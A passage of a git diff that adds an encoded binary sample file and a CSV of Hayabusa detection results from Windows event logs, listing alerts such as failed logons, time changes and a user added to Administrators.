z5-ZSbT}t6&@d}|*2P-USH*w?^q_)~$myuyFAMVlUul#K_%Ipast!$b+w1?IHY&W^RKGd(O+FJ7`5euwV4b__KZu0)^=Y){+NR6(Ei=J+&kfI0;#sNNNo|CnpSvapOrRT+1ELcBq}! zx%;D^vQ_jK$OTkJm^%iukji<*`6;u^83xkHC>l{OJw-lu`8D=4X*hQM)RQL{xpp@g zL|2RGV*`tD6L{r>I3W{AnCoc>9<9zF8BLpQJy5@tR&(#YZ-+oY2M>H9Fg0SGED8qc zlqL`=N^CYpWVkr9Ou=TyFY9#SaxHE<9kq#tgP*Q<*eL}YxbF|bhoHf!z`#WbUYT_M zh=%O^)Kp^vNtztV%zV%mtJI_K_pxfdu8$Av<@a6vo9olKq=%hpwGcAVtWj%Sqqe)b zU2M9KReQ*3aaRh3Lj}T3M+{Bw6`7yT`rc@kFdP9g3GP~*H7zVzcqT{TEpK9_p;$bq zuQTPv5~cW@JOWqKN~n+dUK8kkVqR*9CbM2}FQAS;iy>hdE-(_@vRUCx4T5F}VnfX= zA;2t^8FF|w85{TTWa1E|2!w*+oUMR0#TC0YMy!i7p|Z>xEfk+=rZj<02q zK@=f)_%`a!gWeVvjxcSCLE;5x2&B})cT%m013KpqCg#NqsqqH3vR^>gpazGHN2R)0 zFf#aeP`HV|oFb~Bxzf0VMP+f(sqB^4=a6jAiRb)jK)OfAh|e9188~im)*UBF(BjaG zmFPrlMwkewA>Fx!9Vh9cHH(LS5lv#h_i<9pE4VMD!4j_M;Q!5c7gGhotOXIvS%``c zi>GHXL6~BP_+MLP#pu0sW2`DH< zN!RvhZZlE9I4&JEpGKg8fz!&Lpv+?sc7|+POakMPAqqemCD1o-2K8~OmLwz^wqY{f zT@z_w;fU>PSg|i_m^a+h2oWQe+o~n)8zD{hvSOHPOi#_?2`!*gYQwTtXO;{s3nV|w z5{wh)C5iB)WUVl=vML>L3YoEVLEUv&&ljfC@)z-3lKOdX6($BTxWGIh)&5ORAR3Jc z&j038>BghYQ3MM z#IaGUP4%SL=h)HYM?EFf!tEE@0H#&T!qHRVYRKKV@w*2C7@ZJ@k+Mk7P6cpqVI2sG z&lJ(Ka9dOHrjvyO0cAbS4r$Lgt@d0lAGy6xNuJT~oyg`-GiVu4uMGQp@R`Fc@hG zS@Q{7sF5cakj~}HfjfILgZu&+E^%jpt}tb1ymlkZMPx7BGOEgNbi0|`@dHT-u-!M5 zN9DJofaEPbCA14%CMCUEjJH1T+h0RzSFyapkqiVbEy~BJwVD1M2Z3t1(mI>?mq-DI zuoA_(^+|hW1|-T<9n6%siq9@W$yNi5%&ssZG zPBwzVN}6(JZl~u)oKXa!R-h)KSn!2$FpkO~K%oQ%-k{P=JoLFw$Vc5=zJZjan+0Rh zc{}pfVYZcdwMY>Bn%XH=2|38>@c<#D038>o!^wQ@Qovms1q>XF&_VmQI)svGC>f+3 zDSk~E2W0?h-jMUUcb%QV+76IT)Q{CF##0Le=fvfNxEruLu|f=C2T&MyPUL6+F?`rp z^QVGuJC+jzmXioSo$ZByAZ~O%w-ZphVqY*5^oo6miNGPUk*qXN%KrN#Z4KE-7Yhdh zo*~Ges2uLIZFDdb2p?6;wbd5T1Y@BZDju7cxH_eW!qFwd4|R~?e%`aztk z%qW_XC7_&`1oXga$2Hd10RWmVBThgTEi+9cJ#kpqc+|1}loXw~yKTs5+% ziG~Bb0oUL#h$OP_ZvsK9A#ew5CD(8?`4JfsFB7s}PQZ$j1xM4BC#CXb?psSRfAeCz zb}AaDQGs!!N^jpz&q19`Din$qRPG`>PiaVAA-p1Y9HK$VB_>eILn~+F(E-Cu`~(ac zqa+|VOYe!FAJ6Zr2`NA^?w-PMVz<-UV6Lvs0iI)2F78C7vnu~yT39$70CI@0J>xhi z{~*QCTy7;dg5Q~17Bn%uXSm(|@>SHLtGqr&6d5WoyiET5{`+9Y{2_$mBlV5O5Lz>mZKh48 zs6YB%+IL|>wB49A-eU7&Di294OTk{9xhO>L>c}l$zuOH^;m|_JM%jOQ&8%rRZF54 z+fmp7ylO~99wS^;3q5)vzh(7%*Qc>Pf`I&cq^{+S1n*Kj{Sc`-yl z2_g`mVj1&o9%3$63=e$D1pP1eDV`8&G?}DlYG4giVBRM=IXnj`TN(CZ9I)SQuOlqe zU@?S{5#t&mz2jkeXZIayM$ zOA}=}FKRPKk5wI%@H^D}8T6yJkjmm!m0`kc2IO1dSbv1RZDYkdLdheW~~O)6FGD#hv<{L)uu-d>wjvHuA<_YwZ1| z`mhrsGXm%bk#TI%K$IMCcTgs3qM6i66|oQZoRC28v7aXh8dGL(-6a}gfi0Xs^}Fx> zEyjmPv}yw*0uE*lB~ODLR^Kvm#$QSS;gB)SyoCk_AhQY(NDlmfQl@_CH`mYL7nG*3 zOlAxa8+pO)e}pcp}DJ#3SI>x7&$(Q&rFeu>;UP8`BMu;5SZ1 zbZ5yFvgn}(#9`egMtCR$u0BNS;Ttur|glsq?6@srkB#D zDwNO9KcNtygMm}!VGJPQ8NbXC(LFG$_?-?Q{o)y8*UYKBH(x) zC{=lf+c>*qSiWk$?5@wHizyW}F!@rWQRY@gr=*c*GNTg!Us5@omBbBv&-puSrRC4t zht1}nSktE2%7ef93Z|HlzH02??^n9w5onU&U1AeKX~Zkb`80SsouB9(>~X-jH4Ft8 zB<(mXF}L(@prlspVXOP(>O^Hgdp3`u4e9+^qZ!+$=oSVh2t<2${g@frCMS?;fQ40n zvlb|RFc?nNf_4v#=>5^>+sdB^SnV~`NeAMAT#GP32ZEcLLQl#m#phoW)r*d?ILCISzA|QLL-oeydvc5`@wn^l=)mdCFteyoz#kR96>yt?VsYy)~yHn^q zLBDYU!Zm=~xb@ko97IjCc3#>^y@05!v5{+Ji#@+Uf%U_R+oC_v?ct$p9!!uKE1Shy zTs#n3&W8g7%VFSfkhzQ$31p$gpz~=cQ00LMSFYU&uCeGe+Sl?yHa8c{XQ|XMa1i!H ztEq|7D}{ao#lf`ED5WVP5$xdep7bfXkH{x~Wv2C4d@*2pgHH2gjkTNI@V@-fJ{8E` z3}$!m_|$WLtcEn2?-uE|GVal<0=Jrb0B}s|O|+8Zk7hAN>aRM%u%mDJ#f#6VGa=Bq zD*7N1d4UkektmvhyI;eUYUK&hX_ii;dEjQ$Pch1}FBhVo#aZZU&DoKs+;c2rY#EZv zz~N^m70R`}guEOot{XEs;Div}AVdxJyngZCe^wY^7;9wFKWO*UTCFKa$P6fwnnW$2 zwrHUd7f_FBvP>`75*0Ob#6wR%Q@HuHYM!&oBNSy-R(dhH$a(|;(~n?ffFA^sw&Vmd?=CnvQ=AD*w*xG5(J z!_9_0bbwA=O9n;&?f?u52@oC=JSz>G{C61;-rOS5aCfU-t`F9q2_52M5S`Rw=!>_q zW&mY+LZuexZNyPtE};So9q)FC6Z{i-`I7=Ti$03TFC4q7TO|L3H~=W@sj*t7pUI+s zfNw5FLR*AFn7imz1Qa~U2hnf){6MjD9TqcI9$aZ7O*)sfT0j{ci@bZZ-aO$m>_KXH z1FP`;O8jtAQqts)ow2vPsNUPMSK@(8 zx-|9(H4cZnRxIS5YKtBGqBKgO1(`4~{U}_qWSLqYp{WI^LGum&IK{hOw@VnBdQno8rzQ!$fsx^O5hgm4#o_^a~%+1sfuk(PG#Y};nOs6Jhk^1NK%%w@+7t^F96 zH4Mg2 zHKL4mX@2T`WHifVwVvTxt)NOan+2;v#Iy^`ZXJ(D@yVG=7O7^*qSeByo6GB~^|28c z^+bwQwRXv~RC>bw_&LM-5i7DQkGJy^SkCf0vqnRMpY3WB-SC2MM z!Tv%~Oa-6k@umG^{bnGIJ$$-ydktDe@`6WhQq==o9f)-UunCQkZz#{_$-z^-mEeUe z*Eh1~CI6QIb$)V5BafiYa(=G;wvLkQHJ_!s#syzC&!0$FKT_}uN-vixL-|$mpVV1B zyhTy{clCtnb=Lxlr6OmfMb_BBDNLA4+&k2;1djMJ5Dre|)%k-ov z#<*$BvcNVTyYB~#Yax;_RXWk=?Qtm)cC6W`+A z?B-2RNXA8T1K*^`+Ru`e&sr$0g-^;)j7*g?{J@B1QKY~3d6T`=c>j4d zHCgtWnb0l$d%m_2Ba6-1isPgD4|%~V1s?3v*|PikGbcz2Z{xJVjYr=pWaPQYCeg1B z-KweA!f!u558}q=d5%okNlAT88S?(BW5SE(jg|ZHx02endfCSMUEfhP?@=DKp`75= z*3`#+`n&exudESlmEMDP7d{z?(Cdy_`t_#i;>%~JiW0gl=i5$QopSP0412C?K`y1L z$yIA9*(mSN2YUC|8vIA_!utkSBLoytU6;ufte^~VY}U&~-({UaspL}0^1#rZwsY8!Zt3DRQh?OpAzI#;#!EYQv3($z_Ffv~r5l7d)jq|4Ns6AM5vUEJvzUGRMsf z$DQWe;|f=PN{T5R>-wd?qQx27vv|Q*aMZ6FO`KSB!ZdrgZ0Vla36WuG?s9dJZtHHl zYLZfVRV^7+foU>*RQVWQuow)}HCDQvbC%C7p;-5OQ-EUwb9;i=sM}uTai#fN)6T_5 z11<|zoB{{HjpJjYg#JC&mS<$tHJOjUY(o88dWxw<-e&(Uyq=vZe0DS*qXxV{-XT&p z$7#WEUw1Jj9j9(u#(~c}dtrqWOZ_`OT))s##PFl2yU|fK+2WT5S^;SDdNlNzftB@a zqiZPnUCC&?HAIDF&GXI;~{=hOf@DG5VI})6BZh z@@iJE?gXCZHCH2{g$OoLCUEGG$=8BON<@=;n&Kp*0Ndgk=9`v#y0)vTEQ&0*cFhtc zmFAwye4~Ee0UO?RbDe|YeagFYu}{|4 zb!(l1 zhn+@-sK@>J>FZ;t>@~d#leq0mRpcnJkHayPujB2m=`q1H(v|0Y_E6$ZmldXV!B(6` zLti0kJABZddAw?)c>SMnt0$@KEmv`4Sz?W@YrDHu2{p&zp+25d8dNGr*JC_~c6-N1I)pv#oJ-3MN~`wJ3~)||$$48DZgi+umQ#q#rm#uZi3382 zhU?F>>z|cxY}%WK7P*np`ohZd$g~3s;hnopGeM&=2pOGnh*_)hEG?&B-Mq`cV)`h< zhBH(nV^*$c5C1rLgv>XVhO8xf`|?J7efE!@&&%dax8wiH%Jv#b(Tt`&vxh#>>iGN^ zUZ2K|t7%wloI5Z2m=Ej)IQg@Tx|vDv0K~t`D=Gf1(&mdcZ#>y|nPx<@(Xp9-WMBh` zU+Mkg!aumz@5&F#u8~Si82&LSIjKUo^_~GXeB+bAj4e96&Ka%TdGNZ(9%Z<$E$CP7 zlA^1^x-~Mq(9quEX*2P5hJ6Aw{!A5T?#7qe2?g%Jlz}FBfZArO)7A4!y6&)1P5XY( zIjg(4UQJ86dEtYG3lpG0Qx`**Z1$pfg0#s~{6N1aoToKsQ^yD2v1;8ii9o7z+lo-h z#;(OiHYz#!@#!^3LiYL*h2EO}&TF-v0Qd^Du4Xh@>kxfj`HmOA5K7n3;)aPeU5_3$P1J zPdVVCIKZ5hw%^{qHtSE`-|k$@p>S1`@_w?UQcEJH4&KadO|4lHJL)iCyz=SQH-#x< z;8d_%c?i!uV5$!c6XQ=!kAq%vvsu;hk*ej;>WdsIM|8ty-(NZ3&)r|oA3Pijjbl}$ z9g3d#>pZL~F3UWy4aW-VUFPkv(|2BL>oMxOMtnRLiB~dETZdzIqRGv1i=f|&3iUYPBS?i^)#AQ>4bm5JN?JDgk zT)iFedd|0HMV|M|ny^MxMnRNO@<|KYW7iryN&Bk~)yFeFZjBHzw;jmW&1Ry{ANI^M zAo(5ES2PDLYpl?B|9C}aFFRra;p`1z0{=j68mMs@M^EBh%)bJUfGtT921y-gz~s$shP;qIFAP4o6lkmp_M zQn<~}Uy8K+0gQOM)b{#XsVZjqCOTcMrmX55YG!+THacgA*RRS{e0_Oijh+$tzSQly zU-_cm)TzHM%G5U{d#$yl(dNIygM7}o{R_x<9RYIF7Va(2yw%Wme1=HGh;2J@#E_r$ zKDk>m2&|kbP{hm9JYCvbZ8f!fyak*&7sV8{B1F*H0M4^m?jl)%^)P|a>Ao7-m^sZN}u|HvYQP*^tk zMC|)T%T+YX=`A;1W_-puaXtO!e3z*%ei81Z+>`s8j?Y##!p!Wa>4cDC#(w0+q|W~P z2D|TIv%=ap!KLn3)J=UV{u)%-%n^%Uc;m z4{=Ymq{?fiNd~O4tOfv5RNE&Pht92yc6B9nvWYfqA^hj0@v;Nza(7r!tvb_ZI6vT^ z6=yT5*p36C}YCWej!N-+cZ4MW*hFk{D7OTQ6(2_LVy7WFRf+?o&ugza+!7Y4#_x3r;#bYni%hsY z%HMG{Yg&tG-lz4Gh^06c+bz}uFthW3K(cKaT5kSZbiq$7s~+pqPh=)+eu2mlEO=ri^tr9HG9QhE$*@He9L4DkzPDzzKLpx z#rooB%@n3p&0T}4PVM65kpv0RofH?}KW~fn`P=HKx;f>^36v#%Hh`oxM-j+yPg@d2 zDoB9Ffs(V=JQ9ZwCtciUIR31fjK9W5d8)nqhk!H#H)EDPJMK7XtMd$uq+da66{!QZW- z?b3=#J1a}$4Fk@PQ-j_^Bx$TiJG}*Jf%`oMv(Qk$*+G#E8GbS)QqJPR_&e^x!?zxS z*7O}%_sZ5QS+a(l9W5`)kuTy;z?YW3E)}r;vLm*Mz!jt={79Ojg=SGj68>jImgohZ zIy~fAUaoo5h$kt8Vy~+o>+`494zS32>QBruT2s%ZQND>awz*={Zdk>=9fTIof<|)Q zGE)W;xQ`#Ouhnygd9};i(Z%&##}=KO>$P0xVAnSs$JQfmuJ<*nbP^+coL!Zz71iA) z&$hG%*}{refy&*yN3ZK8+hwpLAL+_|8CYc(8In7SF#D0!+^nxzNzRKHT7PV zrrW$|hesGs&P^h{&BJ#Ztj4qP>_`!jt89D*oJ)xu*Ayf5+~Xzk$Cac)w9~|qOe>d0 z9OpSz1Cq^)z_$%~ANbHm@XgS$-jnm5*LX@J2mZNt3m!|G`*z@$;ZJ9wb~CbP?57{` zN!A3y%Q*G2>NaM%%Bt<|bRvpw3mc2>?(b1YV~=~_@Wzbi=+=zm%V{eQ0(%;nN(8{`|~#;7b`7B?r#-bMjICO)Tav2(_k@w^KKk{B+64 zD_a)fm99VNmIdP$uQ)Q_ZsUX|VbOMWocGUK6WjMs>uwBZ$AS=8DAgovI&o7I6Hz8m!=gC2U6>nMG=1 zEw;nqovHJ&YH}^Fm53Hj=3^`1tOap1<-CDQ7wf0KmAs!FW|SI=5z0hMmXW^`myYLu zi@F;=M#o~1hTIyE>t4pK2@aCi*ChTRWfsch2R?$ZCu}lT;yp{RS5X&wwS7(o?%7&u zyNZ~fx@F~Wc^2$7-tkbr)$mtH_`1^B(Pum<`_G9K+8-|Xpz{_apm`?{zWYC(qF;D0>-_<=L(J9Vzlm!Gh(=W zt@Xk2PeXbtMb`xQ1XoSGc5dNDY$7Q1BkAv$Bj9$_gIGLbvDch>&ex<^$_4TPr)|S| zI1U~Nb^a|qmYI@4MfbZZ>eA^`qx>+iqzNI*U5B5z1FUu3jtvu*DPIMbY+|kW2 zm2T$gH-em`Zjew?&r#MQ=~c;WvL$QRtq~=-5`@xULFGFVw|X2Qd%b=F&Nxr@Mfc#v z5jHgYue7ANXt=!(_fDOLkY*5(Q-BoS%bi8w_+YZz+|_Te@dTR< z34=6k3ZF{cZ#=PAuku@sBEwGH8yC#!x3&H%m`F=DUw5tA(XBOax@um+I%slZ^wyUw z@(^Chz%?Zox@X%7)>}-a4NWrQ>|NKBW^a^c6dIrz-7uRdlD{N2O41xeA{%x2y)LoaX|s-{Z;$)V{CXhV;_^x5K=g1j2#G|yB?EjMnu z!s>A+7YeTrG@m^MsP6~d9Z^J4XaowE-LqID*(lfh=xdA_m$!YEOoT|hlU%^}DFzu- zT@cFFGAS%e(4vpSE0*$z6WtU=v}nA>af8okVkmK{`b~-u9QcPhjtFAcllA$pGw?Yp z3|!6@_CvQF@2N$=aP!@Ff@@>DHL>c0GMES;IX^{QVr7j1`i&}-@#o@5c$^>rwWQNT zBZ-BucyxU`KYkJXOvy>XgSf{PjQ9`Id8{F|`RtcnEQMhNv!m(JROfLvGZ5bc1Z2*M z|2y*ynE67SNwDW6IQn;n0}65eF9T>S*PyTcQ#a7FM)hDqa^>0Ue#?GPN<{$^QsmKz zd*Adk6)ob7*>2brcH8fd)4IAa*4HM?>4Q1WZL3oEO7i5ds6BTCp>{TN#y(@wM%X%J zUVZ(gu9-Hs3IW(RKu)MIDIqWo`^|8bB{Q{F_~PCE9kexIcmlZQVnP%!^t?=x3tWh* z>cC(EvX~ls{H+}4l}`i4bEOJOci1bd+(heD1BP3E>hnocq3Q0( zqb>jCnJ(PH;B&t|Cpq0nF0EG@)Dbl}ZttiBm!8`1?q6Zbk%Nh9vzRXD({;Rd)1@O;%J%}u%7TwSBGGD>_CDEYXvPNn)l2^N+ zRhb-=xoDv=0LV$jb0>%Mm>1N{=&j7BGn=kp%{q(;<{&A$no3vvv*X5UZ>l!JMkges z6P--0t%oUlWddDQfu<;bNd|KNZiEkN{ov$jy{EO~9Fz5_bDvSzsz7hI4)%yl$rWra203Sao6Bt5Z*o-}ib|Ov_5x76o zoW)fQ8U`qoR2$q)l-(m8+fD0-FGq@yH&=u}M&PCp8YUc%r9mLpV&K2ycFF+w19lI? zO7HOdO_(v&fxsy`o&ak&w=f%?P#X492&RGwkyzy%Xpd)4aDH3_U-D0>5ARa#EHdZ$ zmEd`C)IE_C!u*@{Wm2TL7RwJ=h*_|A3g?+ec5 zKRIF`ni-oD62_R1e-L=-cEb?;t*9K|xzDf%#AwtAxp9C!WqyGd2t|@Kg$jc0WEzR& zHczI2RJR}ZlDJ{ebnU?eUP0x#U4tXaa3+aBJdHVrLe#ZY1Z>KXS7>x-YtNazu-TzF zZFIF^PL%M+0otUVg^IRdzX3!C{`LM%c@24WeP6Qt`dA3<)V@cpB*}2e)&b0#^}2+9 zV4IAj9j+Fi^ek;w3-kt?{P87L+N>H-W*5_ZoseiT*U12PgXWgPiZXdO7otL}yJjbx zcZnz5`s!Icwa9fqixU-j6QMp#Q-PU7l{HN$!HBo4wZ&B6p2*hY0%J>Bp1X+c5^a;i z4}d3+?klj0KnFXpxU8$%M%=XImoF(?&j_oMq6;UUnico(jBg9p`?gH;(KqB6@9M4% zDdL%t5yNB$k_EVu}AdGaMIZQ zdbh6tXIt>s4lJLiuLT*AZRci5{rc~+;X^n8;k~b~K~1i>ua7$+JPyB7)}xqhSWosS zSvww|wv$UmDzG~;eE*(sy=Wq+5tueo!lat{lGzJ2wlC#iCe!vYAbeH_PO~8C8S@s& z;GQKxd7dDBhtn-;HItf4FPA2LJ@AY>N@ZDqb6sthbaMaq0GUDuJUdnN-IO=lEFjD< z&M?~kI^Ju^iix=p$&DuFeQ-ClpEIf|9}YeqyFv^aU4;3IBac<(pvt-6G=f_J&|z4V zX-*Zj%|^7`{nKVMsqnVdF_$hkA^>2 zc7jnM=_wsW6v%DJN=1LlXA>91-sJxaN-!{l06w5?WqXR zaQT+n@4HJSRUGz9MRKjxk@AbGb&k#VR{^f6$0eF_v=vKmeKsuq^Z_(J?U`6=P2_DW zC<^v4Gbh^9`QGJFP?crHH7XVigU*sbV&BN+PT;p=lf>qgek90_OULTZrw4C|nEo)Hv*=x>wyqrg&OBE$Zt$Vwk zNvL1Ya#B{&vD$R!4z=TrVZe)k&O zAfBDR9@LTCbHFt{^r2%cN>Z~d%v|pPAsTE64A74QuuTzrdnD2VZQa)jL0-24M#mOr z&qUz;G&M*n?kn7P0y8bqzF@FCDg z%-}5_AMzJDaMlr?@({BG7NI_4D)3eDbn{I!A3!ZwIB}VSFJ=p}FBkam7UAglz8&Nh zCD4s|v@u`UM`>M$aPVhcz=|9ygDkeNq4F)F0?$W|N~Ygmumt&^O+ooLhxS=jR@OEX zSZt~4zqad@IYQi6_bI$$N&TC{?*H0h!JO&s#^$-;R#I^YVnIozZFH`aF3yw4R2QwJ zE}(aGb?}@6dJx6i>hk}oU2L+VB0L8@f-HJk87G%Y7h)Y{-V@svquc8VcZ?w(K7azU431;)ZB7~(?+H<{~Eu}JO4=-*?hOiiN_ zk1eo*l#(7-GxJeg2DeLYu=&lvMS6*3?}1}PDnS#ZE9PuZhw4_5N4wqaYw5=fPCM=? zj*eliuz4u#dxAsKo1qaz3kzD#2!Jy9b>#Ofq}xg}!y9l*V1h@B3ag{aXp*M;o1+B> zJ>XS|L&Y^>1RWA7TxzJ%kX>_0RHg_q&>iF#FphWtHspfvhZM%^JU}st5B#b`4$%)h z8$$~ZwAOK$ng}1XfflX-uv5~-(`kUEoHb^z!KH*WB-EPpWX$G391PC}m;t$1ygvPTTFmu*GVe z6@9VFN^0rf;QZ<=ZmZyXF> zvF&zU90!Ya@$_It92qITKY&B~n>|D*^63yH)u$4G744!E)ckQ>6>!J3hrK2dQ0@7etwcT!ZLjv-^G1wHU7%-_ zK_m+8_N#AW5KeLTU8d!!VXCsEsHAUs4O?>FXsYMtUb%B+l8F^<( zFSi`AiN}=L1QXYG^K2eqY`D37*5^PnI}QURoX-l_w}zCCRhN0KR5KJ(%gZinV}{zh~cJ4Z^&U(wYQb z18PW}7y`zvg~MQr1GmQl0kbERD&RS&juz<9!2IQp4#-AXg!1;}7dL^Hkbg&|*K*oT zng`9_kMD<~4%iwpLaaCL?Z;*Ka_fKvd*!8)6+&_|Sl)vQ2)~&}HD}SH<*b~`$IJZV0Y@{Yl4A*D zsY7_mC;=})`f8Ny5yB;p1C z3e4~?loFpDt2t!*ZikGzK_&=5IRnlm_or*BEDvHfh-Yhvu;czHO!S2nqlg0L0ICLV%=J*>g2O0DwRs002Y)2tXrSLpcXqJ4bp$TL)u0H)|_` zd=Nm2T!5b}|8HNJ@skn*3@E|R0oQVMw)6N1l-A%%CWn4IVS98Wt|k%ISn+12O_!c8 z0Bx!u+hp_xYf}qxi0E_)j#nv;bmC;^b#~eO= zlvHq(Ykqc;Jm*+^%`gV5zUmO2>1SZBy+paUfgj@qZ;lpeqlW#J>_*WW;aXtJs=#6(VRVg;iiy#SW zK)ha-ZJHf0cU}F1Pp`vEL}@E4n$d_c>ZTfY=taonw3af23w7J_{p+2I$-s_O?fNeQ zZhVU}KHrG-10XSWA&oi*)$d6h6?eRJvtu1i-sjs`&z!c_8mb>4KxfC_!<^X|+Tn+T zLQ!ND$=|~z4{go4CEn;rDe>Eae?@?QHaCJ76p-uMKLM<9JSmyFlK)XTQcROl;$Dzu z*(eL1C@I@8|Jx!XTM9*!H$e~T9y23r4owyxPg|q0aA7ENB%40}XC&MIFF5sY=vlvg zkd^TvqcCfN=(FY+dL?3}Q69*lJp`G?`4umfae>$XOMP30fWjfxy{*5(Z|c^BcYI+f zihKV02e|eYCp)c#sfaj%gP2WT>7RlYH1l8;t~>oSNPQWi%U>8h&Smz|J{Zq}G5Xi+ zJuh6x=lL6p2(?lboY%WrvCrlMvrlB_SQ~)js*~>`zWB2HRTYORuY2=Ev|b7cuZKj7 zx<9h{FY5{jL<{iW_SN7j%S`7-p<_V+0FeJ%e*ZhADP(KoWNhQ4tK@EH?5O<@4VRPr zcLv+BxnN&E*_nR~H1xkQNckBfx(>!xj`Vc@xc^T=LW}+Tj~{}FA405uBOC$)0C2OS z|1VlsTL()6TU*P2l>Hz1WIMjNiT@OZ1r7iJ|8IPNApgndUpf5GN*E87=}`S-)0YGQ zfc-aOH<*7CJ36^r89V-`hF^)u`7!*IX-)7ydu|f-pQKJ^#@5F4|GYE)CkBSCNA2{L zpa7G@TmTsVRyG~(|Eaj6nX$2xBmF-g|B*`_g8w`;8Zbcq3+9hl|Mf~31^q`iI-2P_ z7#k@%Ihfm+{>O&=yNmr-4l~;j0RNZ6{hwXd9D Nek4zK_zyq-zW_*CdF=oI literal 0 HcmV?d00001 diff --git a/sample-results/hayabusa-sample-evtx-ResultsDeprecatedAndNoisyRulesEnabled.csv b/sample-results/hayabusa-sample-evtx-ResultsDeprecatedAndNoisyRulesEnabled.csv new file mode 100644 index 00000000..59d94e55 --- /dev/null +++ b/sample-results/hayabusa-sample-evtx-ResultsDeprecatedAndNoisyRulesEnabled.csv @@ -0,0 +1,14207 @@ +Timestamp,Computer,EventID,Level,RuleTitle,Details,RulePath,FilePath +2013-10-24 01:16:13.843 +09:00,37L4247D28-05,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:16:29.000 +09:00,37L4247D28-05,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 01:17:44.109 +09:00,37L4247D28-05,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:17:44.109 +09:00,37L4247D28-05,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:18:09.203 +09:00,37L4247D28-05,2003,low,USB Device Plugged,,rules/sigma/other/driverframeworks/win_usb_device_plugged.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:18:33.828 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:18:33.828 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:18:50.500 +09:00,IE8Win7,4624,informational,Logon Type 0 - System,Bootup,rules/hayabusa/default/events/Security/Logons/4624_LogonType-0-System.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:21:30.000 +09:00,IE8Win7,4625,medium,Failed Logon From Public IP,,rules/sigma/builtin/security/win_susp_failed_logon_source.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-application.evtx +2013-10-24 01:21:33.630 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:21:33.630 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:21:33.630 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:39.911 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:22:39.911 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:22:39.911 +09:00,IE8Win7,4616,medium,Unauthorized System Time Modification,,rules/sigma/builtin/security/win_susp_time_modification.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:39.973 +09:00,IE8Win7,4720,medium,Local user account created,User: IEUser : SID:S-1-5-21-3463664321-2923530833-3546627382-1000,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,../hayabusa-sample-evtx/DeepBlueCLI/new-user-security.evtx +2013-10-24 01:22:39.973 +09:00,IE8Win7,4720,medium,Local user account created,User: IEUser : SID:S-1-5-21-3463664321-2923530833-3546627382-1000,rules/hayabusa/default/alerts/Security/4720_CreateAccount-LocalAccount_UserAccountCreated.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:40.004 +09:00,IE8Win7,4732,high,User added to local Administrators group,User: - : SID: S-1-5-21-3463664321-2923530833-3546627382-1000 : Group: Administrators,rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalAdministratorsGroup.yml,../hayabusa-sample-evtx/DeepBlueCLI/new-user-security.evtx +2013-10-24 01:22:40.004 +09:00,IE8Win7,4732,high,User added to local Administrators group,User: - : SID: S-1-5-21-3463664321-2923530833-3546627382-1000 : Group: Administrators,rules/hayabusa/default/alerts/Security/4732-AccountManipulation_UserAddedToLocalAdministratorsGroup.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:40.005 +09:00,IE8Win7,1,high,Execution Of Not Existing File,,rules/sigma/process_creation/process_creation_susp_image_missing.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:22:40.005 +09:00,IE8Win7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-system.evtx +2013-10-24 01:22:44.979 +09:00,IE8Win7,4648,informational,Explicit Logon,Source User: WIN-QALA5Q3KJ43$ : Target User: IEUser : IP Address: 127.0.0.1 : Process: C:\Windows\System32\winlogon.exe : Target Server: localhost,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/many-events-security.evtx +2013-10-24 01:22:44.979 +09:00,IE8Win7,4624,informational,Logon Type 2 - Interactive,User: IEUser : Workstation: WIN-QALA5Q3KJ43 : IP Address: 127.0.0.1 : Port: 0 : LogonID: 0x298c5 : (Warning: Credentials are stored in 